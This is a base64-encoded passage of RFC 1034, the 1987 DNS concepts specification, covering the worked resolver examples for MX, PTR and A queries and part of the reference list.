NTPUlOLCBRVFlQRT1NWCAgICAgICAgICAgICAgIHwKICAgICAgICAgICAgICAgKy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLSsKICAgIEFuc3dlciAgICAgfCA8ZW1wdHk+ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIHwKICAgICAgICAgICAgICAgKy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLSsKICAgIEF1dGhvcml0eSAgfCA8ZW1wdHk+ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIHwKICAgICAgICAgICAgICAgKy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLSsKICAgIEFkZGl0aW9uYWwgfCA8ZW1wdHk+ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIHwKICAgICAgICAgICAgICAgKy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLSsKClRoZSByZXNvbHZlciB3b3VsZCB0aGVuIHdhaXQgZm9yIGEgcmVzcG9uc2UgdG8gaXRzIHF1ZXJ5IG9yIGEgdGltZW91dC4KSWYgdGhlIHRpbWVvdXQgb2NjdXJzLCBpdCB3b3VsZCB0cnkgZGlmZmVyZW50IHNlcnZlcnMsIHRoZW4gZGlmZmVyZW50CmFkZHJlc3NlcyBvZiB0aGUgc2FtZSBzZXJ2ZXJzLCBsYXN0bHkgcmV0cnlpbmcgYWRkcmVzc2VzIGFscmVhZHkgdHJpZWQuCkl0IG1pZ2h0IGV2ZW50dWFsbHkgcmVjZWl2ZSBhIHJlcGx5IGZyb20gU1JJLU5JQy5BUlBBOgoKICAgICAgICAgICAgICAgKy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLSsKICAgIEhlYWRlciAgICAgfCBPUENPREU9U1FVRVJZLCBSRVNQT05TRSAgICAgICAgICAgICAgICAgICAgICAgICAgIHwKICAgICAgICAgICAgICAgKy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLSsKICAgIFF1ZXN0aW9uICAgfCBRTkFNRT1JU0kuRURVLiwgUUNMQVNTPUlOLCBRVFlQRT1NWCAgICAgICAgICAgICAgIHwKICAgICAgICAgICAgICAgKy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLSsKICAgIEFuc3dlciAgICAgfCA8ZW1wdHk+ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIHwKICAgICAgICAgICAgICAgKy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLSsKICAgIEF1dGhvcml0eSAgfCBJU0kuRURVLiAgICAgICAgMTcyODAwIElOIE5TICAgICAgIFZBWEEuSVNJLkVEVS4gIHwKICAgICAgICAgICAgICAgfCAgICAgICAgICAgICAgICAgICAgICAgICAgIE5TICAgICAgIEEuSVNJLkVEVS4gICAgIHwKICAgICAgICAgICAgICAgfCAgICAgICAgICAgICAgICAgICAgICAgICAgIE5TICAgICAgIFZFTkVSQS5JU0kuRURVLnwKICAgICAgICAgICAgICAgKy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLSsKICAgIEFkZGl0aW9uYWwgfCBWQVhBLklTSS5FRFUuICAgMTcyODAwICAgIEEgICAgICAgIDEwLjIuMC4yNyAgICAgIHwKICAgICAgICAgICAgICAgfCAgICAgICAgICAgICAgICAgMTcyODAwICAgIEEgICAgICAgIDEyOC45LjAuMzMgICAgIHwKICAgICAgICAgICAgICAgfCBWRU5FUkEuSVNJLkVEVS4gMTcyODAwICAgIEEgICAgICAgIDEwLjEuMC41MiAgICAgIHwKICAgICAgICAgICAgICAgfCAgICAgICAgICAgICAgICAgMTcyODAwICAgIEEgICAgICAgIDEyOC45LjAuMzIgICAgIHwKICAgICAgICAgICAgICAgfCBBLklTSS5FRFUuICAgICAgMTcyODAwICAgIEEgICAgICAgIDI2LjMuMC4xMDMgICAgIHwKICAgICAgICAgICAgICAgKy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLSsKClRoZSByZXNvbHZlciB3b3VsZCBub3RpY2UgdGhhdCB0aGUgaW5mb3JtYXRpb24gaW4gdGhlIHJlc3BvbnNlIGdhdmUgYQpjbG9zZXIgZGVsZWdhdGlvbiB0byBJU0kuRURVIHRoYW4gaXRzIGV4aXN0aW5nIFNMSVNUIChzaW5jZSBpdCBtYXRjaGVzCnRocmVlIGxhYmVscykuICBUaGUgcmVzb2x2ZXIgd291bGQgdGhlbiBjYWNoZSB0aGUgaW5mb3JtYXRpb24gaW4gdGhpcwpyZXNwb25zZSBhbmQgdXNlIGl0IHRvIHNldCB1cCBhIG5ldyBTTElTVDoKCiAgICBNYXRjaCBjb3VudCA9IDMKICAgIEEuSVNJLkVEVS4gICAgICAyNi4zLjAuMTAzCiAgICBWQVhBLklTSS5FRFUuICAgMTAuMi4wLjI3ICAgICAgIDEyOC45LjAuMzMKICAgIFZFTkVSQS5JU0kuRURVLiAxMC4xLjAuNTIgICAgICAgMTI4LjkuMC4zMgoKQS5JU0kuRURVIGFwcGVhcnMgb24gdGhpcyBsaXN0IGFzIHdlbGwgYXMgdGhlIHByZXZpb3VzIG9uZSwgYnV0IHRoYXQgaXMKcHVyZWx5IGNvaW5jaWRlbnRhbC4gIFRoZSByZXNvbHZlciB3b3VsZCBhZ2FpbiBzdGFydCB0cmFuc21pdHRpbmcgYW5kCndhaXRpbmcgZm9yIHJlc3BvbnNlcy4gIEV2ZW50dWFsbHkgaXQgd291bGQgZ2V0IGFuIGFuc3dlcjoKCgoKTW9ja2FwZXRyaXMgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgW1BhZ2UgNDhdCgwKUkZDIDEwMzQgICAgICAgICAgICAgRG9tYWluIENvbmNlcHRzIGFuZCBGYWNpbGl0aWVzICAgICAgICBOb3ZlbWJlciAxOTg3CgoKICAgICAgICAgICAgICAgKy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLSsKICAgIEhlYWRlciAgICAgfCBPUENPREU9U1FVRVJZLCBSRVNQT05TRSwgQUEgICAgICAgICAgICAgICAgICAgICAgIHwKICAgICAgICAgICAgICAgKy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLSsKICAgIFF1ZXN0aW9uICAgfCBRTkFNRT1JU0kuRURVLiwgUUNMQVNTPUlOLCBRVFlQRT1NWCAgICAgICAgICAgICAgIHwKICAgICAgICAgICAgICAgKy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLSsKICAgIEFuc3dlciAgICAgfCBJU0kuRURVLiAgICAgICAgICAgICAgICBNWCAxMCBWRU5FUkEuSVNJLkVEVS4gICAgIHwKICAgICAgICAgICAgICAgfCAgICAgICAgICAgICAgICAgICAgICAgICBNWCAyMCBWQVhBLklTSS5FRFUuICAgICAgIHwKICAgICAgICAgICAgICAgKy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLSsKICAgIEF1dGhvcml0eSAgfCA8ZW1wdHk+ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIHwKICAgICAgICAgICAgICAgKy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLSsKICAgIEFkZGl0aW9uYWwgfCBWQVhBLklTSS5FRFUuICAgMTcyODAwICBBICAxMC4yLjAuMjcgICAgICAgICAgICAgIHwKICAgICAgICAgICAgICAgfCAgICAgICAgICAgICAgICAgMTcyODAwICBBICAxMjguOS4wLjMzICAgICAgICAgICAgIHwKICAgICAgICAgICAgICAgfCBWRU5FUkEuSVNJLkVEVS4gMTcyODAwICBBICAxMC4xLjAuNTIgICAgICAgICAgICAgIHwKICAgICAgICAgICAgICAgfCAgICAgICAgICAgICAgICAgMTcyODAwICBBICAxMjguOS4wLjMyICAgICAgICAgICAgIHwKICAgICAgICAgICAgICAgKy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLSsKClRoZSByZXNvbHZlciB3b3VsZCBhZGQgdGhpcyBpbmZvcm1hdGlvbiB0byBpdHMgY2FjaGUsIGFuZCByZXR1cm4gdGhlIE1YClJScyB0byBpdHMgY2xpZW50LgoKNi4zLjIuIEdldCB0aGUgaG9zdCBuYW1lIGZvciBhZGRyZXNzIDI2LjYuMC42NQoKVGhlIHJlc29sdmVyIHdvdWxkIHRyYW5zbGF0ZSB0aGlzIGludG8gYSByZXF1ZXN0IGZvciBQVFIgUlJzIGZvcgo2NS4wLjYuMjYuSU4tQUREUi5BUlBBLiAgVGhpcyBpbmZvcm1hdGlvbiBpcyBub3QgaW4gdGhlIGNhY2hlLCBzbyB0aGUKcmVzb2x2ZXIgd291bGQgbG9vayBmb3IgZm9yZWlnbiBzZXJ2ZXJzIHRvIGFzay4gIE5vIHNlcnZlcnMgd291bGQgbWF0Y2gsCnNvIGl0IHdvdWxkIHVzZSBTQkVMVCBhZ2Fpbi4gIChOb3RlIHRoYXQgdGhlIHNlcnZlcnMgZm9yIHRoZSBJU0kuRURVCmRvbWFpbiBhcmUgaW4gdGhlIGNhY2hlLCBidXQgSVNJLkVEVSBpcyBub3QgYW4gYW5jZXN0b3Igb2YKNjUuMC42LjI2LklOLUFERFIuQVJQQSwgc28gdGhlIFNCRUxUIGlzIHVzZWQuKQoKU2luY2UgdGhpcyByZXF1ZXN0IGlzIHdpdGhpbiB0aGUgYXV0aG9yaXRhdGl2ZSBkYXRhIG9mIGJvdGggc2VydmVycyBpbgpTQkVMVCwgZXZlbnR1YWxseSBvbmUgd291bGQgcmV0dXJuOgoKCgoKCgoKCgoKCgoKCgoKCgoKCgpNb2NrYXBldHJpcyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBbUGFnZSA0OV0KDApSRkMgMTAzNCAgICAgICAgICAgICBEb21haW4gQ29uY2VwdHMgYW5kIEZhY2lsaXRpZXMgICAgICAgIE5vdmVtYmVyIDE5ODcKCgogICAgICAgICAgICAgICArLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tKwogICAgSGVhZGVyICAgICB8IE9QQ09ERT1TUVVFUlksIFJFU1BPTlNFLCBBQSAgICAgICAgICAgICAgICAgICAgICAgfAogICAgICAgICAgICAgICArLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tKwogICAgUXVlc3Rpb24gICB8IFFOQU1FPTY1LjAuNi4yNi5JTi1BRERSLkFSUEEuLFFDTEFTUz1JTixRVFlQRT1QVFIgfAogICAgICAgICAgICAgICArLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tKwogICAgQW5zd2VyICAgICB8IDY1LjAuNi4yNi5JTi1BRERSLkFSUEEuICAgIFBUUiAgICAgQUNDLkFSUEEuICAgICAgfAogICAgICAgICAgICAgICArLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tKwogICAgQXV0aG9yaXR5ICB8IDxlbXB0eT4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgfAogICAgICAgICAgICAgICArLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tKwogICAgQWRkaXRpb25hbCB8IDxlbXB0eT4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgfAogICAgICAgICAgICAgICArLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tKwoKNi4zLjMuIEdldCB0aGUgaG9zdCBhZGRyZXNzIG9mIHBvbmVyaWEuSVNJLkVEVQoKVGhpcyByZXF1ZXN0IHdvdWxkIHRyYW5zbGF0ZSBpbnRvIGEgdHlwZSBBIHJlcXVlc3QgZm9yIHBvbmVyaWEuSVNJLkVEVS4KVGhlIHJlc29sdmVyIHdvdWxkIG5vdCBmaW5kIGFueSBjYWNoZWQgZGF0YSBmb3IgdGhpcyBuYW1lLCBidXQgd291bGQKZmluZCB0aGUgTlMgUlJzIGluIHRoZSBjYWNoZSBmb3IgSVNJLkVEVSB3aGVuIGl0IGxvb2tzIGZvciBmb3JlaWduCnNlcnZlcnMgdG8gYXNrLiAgVXNpbmcgdGhpcyBkYXRhLCBpdCB3b3VsZCBjb25zdHJ1Y3QgYSBTTElTVCBvZiB0aGUKZm9ybToKCiAgICBNYXRjaCBjb3VudCA9IDMKCiAgICBBLklTSS5FRFUuICAgICAgMjYuMy4wLjEwMwogICAgVkFYQS5JU0kuRURVLiAgIDEwLjIuMC4yNyAgICAgICAxMjguOS4wLjMzCiAgICBWRU5FUkEuSVNJLkVEVS4gMTAuMS4wLjUyCgpBLklTSS5FRFUgaXMgbGlzdGVkIGZpcnN0IG9uIHRoZSBhc3N1bXB0aW9uIHRoYXQgdGhlIHJlc29sdmVyIG9yZGVycyBpdHMKY2hvaWNlcyBieSBwcmVmZXJlbmNlLCBhbmQgQS5JU0kuRURVIGlzIG9uIHRoZSBzYW1lIG5ldHdvcmsuCgpPbmUgb2YgdGhlc2Ugc2VydmVycyB3b3VsZCBhbnN3ZXIgdGhlIHF1ZXJ5LgoKNy4gUkVGRVJFTkNFUyBhbmQgQklCTElPR1JBUEhZCgpbRHllciA4N10gICAgICAgRHllciwgUy4sIGFuZCBGLiBIc3UsICJIZXNpb2QiLCBQcm9qZWN0IEF0aGVuYQogICAgICAgICAgICAgICAgVGVjaG5pY2FsIFBsYW4gLSBOYW1lIFNlcnZpY2UsIEFwcmlsIDE5ODcsIHZlcnNpb24gMS45LgoKICAgICAgICAgICAgICAgIERlc2NyaWJlcyB0aGUgZnVuZGFtZW50YWxzIG9mIHRoZSBIZXNpb2QgbmFtZSBzZXJ2aWNlLgoKW0lFTi0xMTZdICAgICAgIEouIFBvc3RlbCwgIkludGVybmV0IE5hbWUgU2VydmVyIiwgSUVOLTExNiwKICAgICAgICAgICAgICAgIFVTQy9JbmZvcm1hdGlvbiBTY2llbmNlcyBJbnN0aXR1dGUsIEF1Z3VzdCAxOTc5LgoKICAgICAgICAgICAgICAgIEEgbmFtZSBzZXJ2aWNlIG9ic29sZXRlZCBieSB0aGUgRG9tYWluIE5hbWUgU3lzdGVtLCBidXQKICAgICAgICAgICAgICAgIHN0aWxsIGluIHVzZS4KCgoKCgoKCgpNb2NrYXBldHJpcyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBbUGFnZSA1MF0KDApSRkMgMTAzNCAgICAgICAgICAgICBEb21haW4gQ29uY2VwdHMgYW5kIEZhY2lsaXRpZXMgICAgICAgIE5vdmVtYmVyIDE5ODcKCgpbUXVhcnRlcm1hbiA4Nl0gUXVhcnRlcm1hbiwgSi4sIGFuZCBKLiBIb3NraW5zLCAiTm90YWJsZSBDb21wdXRlcgogICAgICAgICAgICAgICAgTmV0d29ya3MiLENvbW11bmljYXRpb25zIG9mIHRoZSBBQ00sIE9jdG9iZXIgMTk4NiwKICAgICAgICAgICAgICAgIHZvbHVtZSAyOSwgbnVtYmVyIDEwLgoKW1JGQy03NDJdICAgICAgIEsuIEhhcnJlbnN0aWVuLCAiTkFNRS9GSU5HRVIiLCBSRkMtNzQyLCBOZXR3b3JrCiAgICAgICAgICAgICAgICBJbmZvcm1hdGlvbiBDZW50ZXIsIFNSSSBJbnRlcm5hdGlvbmFsLCBEZWNlbWJlciAxOTc3LgoKW1JGQy03NjhdICAgICAgIEouIFBvc3RlbCwgIlVzZXIgRGF0YWdyYW0gUHJvdG9jb2wiLCBSRkMtNzY4LAogICAgICAgICAgICAgICAgVVNDL0luZm9ybWF0aW9uIFNjaWVuY2VzIEluc3RpdHV0ZSwgQXVndXN0IDE5ODAuCgpbUkZDLTc5M10gICAgICAgSi4gUG9zdGVsLCAiVHJhbnNtaXNzaW9uIENvbnRyb2wgUHJvdG9jb2wiLCBSRkMtNzkzLAogICAgICAgICAgICAgICAgVVNDL0luZm9ybWF0aW9uIFNjaWVuY2VzIEluc3RpdHV0ZSwgU2VwdGVtYmVyIDE5ODEuCgpbUkZDLTc5OV0gICAgICAgRC4gTWlsbHMsICJJbnRlcm5ldCBOYW1lIERvbWFpbnMiLCBSRkMtNzk5LCBDT01TQVQsCiAgICAgICAgICAgICAgICBTZXB0ZW1iZXIgMTk4MS4KCiAgICAgICAgICAgICAgICBTdWdnZXN0cyBpbnRyb2R1Y3Rpb24gb2YgYSBoaWVyYXJjaHkgaW4gcGxhY2Ugb2YgYSBmbGF0CiAgICAgICAgICAgICAgICBuYW1lIHNwYWNlIGZvciB0aGUgSW50ZXJuZXQuCgpbUkZDLTgwNV0gICAgICAgSi4gUG9zdGVsLCAiQ29tcHV0ZXIgTWFpbCBNZWV0aW5nIE5vdGVzIiwgUkZDLTgwNSwKICAgICAgICAgICAgICAgIFVTQy9JbmZvcm1hdGlvbiBTY2llbmNlcyBJbnN0aXR1dGUsIEZlYnJ1YXJ5IDE5ODIuCgpbUkZDLTgxMF0gICAgICAgRS4gRmVpbmxlciwgSy4gSGFycmVuc3RpZW4sIFouIFN1LCBhbmQgVi4gV2hpdGUsICJET0QKICAgICAgICAgICAgICAgIEludGVybmV0IEhvc3QgVGFibGUgU3BlY2lmaWNhdGlvbiIsIFJGQy04MTAsIE5ldHdvcmsKICAgICAgICAgICAgICAgIEluZm9ybWF0aW9uIENlbnRlciwgU1JJIEludGVybmF0aW9uYWwsIE1hcmNoIDE5ODIuCgogICAgICAgICAgICAgICAgT2Jzb2xldGUuICBTZWUgUkZDLTk1Mi4KCltSRkMtODExXSAgICAgICBLLiBIYXJyZW5zdGllbiwgVi4gV2hpdGUsIGFuZCBFLiBGZWlubGVyLCAiSG9zdG5hbWVzCiAgICAgICAgICAgICAgICBTZXJ2ZXIiLCBSRkMtODExLCBOZXR3b3JrIEluZm9ybWF0aW9uIENlbnRlciwgU1JJCiAgICAgICAgICAgICAgICBJbnRlcm5hdGlvbmFsLCBNYXJjaCAxOTgyLgoKICAgICAgICAgICAgICAgIE9ic29sZXRlLiAgU2VlIFJGQy05NTMuCgpbUkZDLTgxMl0gICAgICAgSy4gSGFycmVuc3RpZW4sIGFuZCBWLiBXaGl0ZSwgIk5JQ05BTUUvV0hPSVMiLCBSRkMtODEyLAogICAgICAgICAgICAgICAgTmV0d29yayBJbmZvcm1hdGlvbiBDZW50ZXIsIFNSSSBJbnRlcm5hdGlvbmFsLCBNYXJjaAogICAgICAgICAgICAgICAgMTk4Mi4KCltSRkMtODE5XSAgICAgICBaLiBTdSwgYW5kIEouIFBvc3RlbCwgIlRoZSBEb21haW4gTmFtaW5nIENvbnZlbnRpb24gZm9yCiAgICAgICAgICAgICAgICBJbnRlcm5ldCBVc2VyIEFwcGxpY2F0aW9ucyIsIFJGQy04MTksIE5ldHdvcmsKICAgICAgICAgICAgICAgIEluZm9ybWF0aW9uIENlbnRlciwgU1JJIEludGVybmF0aW9uYWwsIEF1Z3VzdCAxOTgyLgoKICAgICAgICAgICAgICAgIEVhcmx5IHRob3VnaHRzIG9uIHRoZSBkZXNpZ24gb2YgdGhlIGRvbWFpbiBzeXN0ZW0uCiAgICAgICAgICAgICAgICBDdXJyZW50IGltcGxlbWVudGF0aW9uIGlzIGNvbXBsZXRlbHkgZGlmZmVyZW50LgoKW1JGQy04MjFdICAgICAgIEouIFBvc3RlbCwgIlNpbXBsZSBNYWlsIFRyYW5zZmVyIFByb3RvY29sIiwgUkZDLTgyMSwKICAgICAgICAgICAgICAgIFVTQy9JbmZvcm1hdGlvbiBTY2llbmNlcyBJbnN0aXR1dGUsIEF1Z3VzdCAxOTgwLgoKCgoKTW9ja2FwZXRyaXMgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgW1BhZ2UgNTFdCgwKUkZDIDEwMzQgICAgICAgICAgICAgRG9tYWluIENvbmNlcHRzIGFuZCBGYWNpbGl0aWVzICAgICAgICBOb3ZlbWJlciAxOTg3CgoKW1JGQy04MzBdICAgICAgIFouIFN1LCAiQSBEaXN0cmlidXRlZCBTeXN0ZW0gZm9yIEludGVybmV0IE5hbWUgU2VydmljZSIsCiAgICAgICAgICAgICAgICBSRkMtODMwLCBOZXR3b3JrIEluZm9ybWF0aW9uIENlbnRlciwgU1JJIEludGVybmF0aW9uYWwsCiAgICAgICAgICAgICAgICBPY3RvYmVyIDE5ODIuCgogICAgICAgICAgICAgICAgRWFybHkgdGhvdWdodHMgb24gdGhlIGRlc2lnbiBvZiB0aGUgZG9tYWluIHN5c3RlbS4KICAgICAgICAgICAgICAgIEN1cnJlbnQgaW1wbGVtZW50YXRpb24gaXMgY29tcGxldGVseSBkaWZmZXJlbnQuCgpbUkZDLTg4Ml0gICAgICAgUC4gTW9ja2FwZXRyaXMsICJEb21haW4gbmFtZXMgLSBDb25jZXB0cyBhbmQKICAgICAgICAgICAgICAgIEZhY2lsaXRpZXMsIiBSRkMtODgyLCBVU0MvSW5mb3JtYXRpb24gU2NpZW5jZXMKICAgICAgICAgICAgICAgIEluc3RpdHV0ZSwgTm92ZW1iZXIgMTk4My4KCiAgICAgICAgICAgICAgICBTdXBlcmNlZWRlZCBieSB0aGlzIG1lbW8uCgpbUkZDLTg4M10gICAgICAgUC4gTW9ja2FwZXRyaXMsICJEb21haW4gbmFtZXMgLSBJbXBsZW1lbnRhdGlvbiBhbmQKICAgICAgICAgICAgICAgIFNwZWNpZmljYXRpb24sIiBSRkMtODgzLCBVU0MvSW5mb3JtYXRpb24gU2NpZW5jZXMKICAgICAgICAgICAgICAgIEluc3RpdHV0ZSwgTm92ZW1iZXIgMTk4My4KCiAgICAgICAgICAgICAgICBTdXBlcmNlZWRlZCBieSB0aGlzIG1lbW8uCgpbUkZDLTkyMF0gICAgICAgSi4gUG9zdGVsIGFuZCBKLiBSZXlub2xkcywgIkRvbWFpbiBSZXF1aXJlbWVudHMiLAogICAgICAgICAgICAgICAgUkZDLTkyMCwgVVNDL0luZm9ybWF0aW9uIFNjaWVuY2VzIEluc3RpdHV0ZQogICAgICAgICAgICAgICAgT2N0b2JlciAxOTg0LgoKICAgICAgICAgICAgICAgIEV4cGxhaW5zIHRoZSBuYW1pbmcgc2NoZW1lIGZvciB0b3AgbGV2ZWwgZG9tYWlucy4KCltSRkMtOTUyXSAgICAgICBLLiBIYXJyZW5zdGllbiwgTS4gU3RhaGwsIEUuIEZlaW5sZXIsICJEb0QgSW50ZXJuZXQgSG9zdAogICAgICAgICAgICAgICAgVGFibGUgU3BlY2lmaWNhdGlvbiIsIFJGQy05NTIsIFNSSSwgT2N0b2JlciAxOTg1LgoKICAgICAgICAgICAgICAgIFNwZWNpZmllcyB0aGUgZm9ybWF0IG9mIEhPU1RTLlRYVCwgdGhlIGhvc3QvYWRkcmVzcwogICAgICAgICAgICAgICAgdGFibGUgcmVwbGFjZWQgYnkgdGhlIEROUy4KCltSRkMtOTUzXSAgICAgICBLLiBIYXJyZW5zdGllbiwgTS4gU3RhaGwsIEUuIEZlaW5sZXIsICJIT1NUTkFNRSBTZXJ2ZXIiLAogICAgICAgICAgICAgICAgUkZDLTk1MywgU1JJLCBPY3RvYmVyIDE5ODUuCgogICAgICAgICAgICAgICAgVGhpcyBSRkMgY29udGFpbnMgdGhlIG9mZmljaWFsIHNwZWNpZmljYXRpb24gb2YgdGhlCiAgICAgICAgICAgICAgICBob3N0bmFtZSBzZXJ2ZXIgcHJvdG9jb2wsIHdoaWNoIGlzIG9ic29sZXRlZCBieSB0aGUgRE5TLgogICAgICAgICAgICAgICAgVGhpcyBUQ1AgYmFzZWQgcHJvdG9jb2wgYWNjZXNzZXMgaW5mb3JtYXRpb24gc3RvcmVkIGluCiAgICAgICAgICAgICAgICB0aGUgUkZDLTk1MiBmb3JtYXQsIGFuZCBpcyB1c2VkIHRvIG9idGFpbiBjb3BpZXMgb2YgdGhlCiAgICAgICAgICAgICAgICBob3N0IHRhYmxlLgoKW1JGQy05NzNdICAgICAgIFAuIE1vY2thcGV0cmlzLCAiRG9tYWluIFN5c3RlbSBDaGFuZ2VzIGFuZAogICAgICAgICAgICAgICAgT2JzZXJ2YXRpb25zIiwgUkZDLTk3MywgVVNDL0luZm9ybWF0aW9uIFNjaWVuY2VzCiAgICAgICAgICAgICAgICBJbnN0aXR1dGUsIEphbnVhcnkgMTk4Ni4KCiAgICAgICAgICAgICAgICBEZXNjcmliZXMgY2hhbmdlcyB0byBSRkMtODgyIGFuZCBSRkMtODgzIGFuZCByZWFzb25zIGZvcgogICAgICAgICAgICAgICAgdGhlbS4gIE5vdyBvYnNvbGV0ZS4KCgoKCgpNb2NrYXBldHJpcyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBbUGFnZSA1Ml0KDApSRkMgMTAzNCAgICAgICAgICAgICBEb21haW4gQ29uY2VwdHMgYW5kIEZhY2lsaXRpZXMgICAgICAgIE5vdmVtYmVyIDE5ODcKCgpbUkZDLTk3NF0gICAgICAgQy4gUGFydHJpZGdlLCAiTWFpbCByb3V0aW5nIGFuZCB0aGUgZG9tYWluIHN5c3RlbSIsCiAgICAgICAgICAgICAgICBSRkMtOTc0LCBDU05FVCBDSUMgQkJOIExhYnMsIEphbnVhcnkgMTk4Ni4KCiAgICAgICAgICAgICAgICBEZXNjcmliZXMgdGhlIHRyYW5zaXRpb24gZnJvbSBIT1NUUy5UWFQgYmFzZWQgbWFpbAogICAgICAgICAgICAgICAgYWRkcmVzc2luZyB0byB0aGUgbW9yZSBwb3dlcmZ1bCBNWCBzeXN0ZW0gdXNlZCB3aXRoIHRoZQogICAgICAgICAgICAgICAgZG9tYWluIHN5c3RlbS4KCltSRkMtMTAwMV0gICAgICBOZXRCSU9TIFdvcmtpbmcgR3JvdXAsICJQcm90b2NvbCBzdGFuZGFyZCBmb3IgYSBOZXRCSU9TCiAgICAgICAgICAgICAgICBzZXJ2aWNlIG9uIGEgVENQL1VEUCB0cmFuc3BvcnQ6IENvbmNlcHRzIGFuZCBNZXRob2RzIiwKICAgICAgICAgICAgICAgIFJGQy0xMDAxLCBNYXJjaCAxOTg3LgoKICAgICAgICAgICAgICAgIFRoaXMgUkZDIGFuZCBSRkMtMTAwMiBhcmUgYSBwcmVsaW1pbmFyeSBkZXNpZ24gZm9yCiAgICAgICAgICAgICAgICBORVRCSU9TIG9uIHRvcCBvZiBUQ1AvSVAgd2hpY2ggcHJvcG9zZXMgdG8gYmFzZSBOZXRCSU9TCiAgICAgICAgICAgICAgICBuYW1lIHNlcnZpY2Ugb24gdG9wIG9mIHRoZSBETlMuCgpbUkZDLTEwMDJdICAgICAgTmV0QklPUyBXb3JraW5nIEdyb3VwLCAiUHJvdG9jb2wgc3RhbmRhcmQgZm9yIGEgTmV0QklPUwogICAgICAgICAgICAgICAgc2VydmljZSBvbiBhIFRDUC9VRFAgdHJhbnNwb3J0OiBEZXRhaWxlZAogICAgICAgICAgICAgICAgU3BlY2lmaWNhdGlvbnMiLCBSRkMtMTAwMiwgTWFyY2ggMTk4Ny4KCltSRkMtMTAxMF0gICAgICBKLiBSZXlub2xkcyBhbmQgSi4gUG9zdGVsLCAiQXNzaWduZWQgTnVtYmVycyIsIFJGQy0xMDEwLAogICAgICAgICAgICAgICAgVVNDL0luZm9ybWF0aW9uIFNjaWVuY2VzIEluc3RpdHV0ZSwgTWF5IDE5ODcKCiAgICAgICAgICAgICAgICBDb250YWlucyBzb2NrZXQgbnVtYmVycyBhbmQgbW5lbW9uaWNzIGZvciBob3N0IG5hbWVzLAogICAgICAgICAgICAgICAgb3BlcmF0aW5nIHN5c3RlbXMsIGV0Yy4KCltSRkMtMTAzMV0gICAgICBXLiBMYXplYXIsICJNSUxORVQgTmFtZSBEb21haW4gVHJhbnNpdGlvbiIsIFJGQy0xMDMxLAogICAgICAgICAgICAgICAgTm92ZW1iZXIgMTk4Ny4KCiAgICAgICAgICAgICAgICBEZXNjcmliZXMgYSBwbGFuIGZvciBjb252ZXJ0aW5nIHRoZSBNSUxORVQgdG8gdGhlIEROUy4KCltSRkMtMTAzMl0gICAgICBNLiBLLiBTdGFobCwgIkVzdGFibGlzaGluZyBhIERvbWFpbiAtIEd1aWRlbGluZXMgZm9yCiAgICAgICAgICAgICAgICBBZG1pbmlzdHJhdG9ycyIsIFJGQy0xMDMyLCBOb3ZlbWJlciAxOTg3LgoKICAgICAgICAgICAgICAgIERlc2N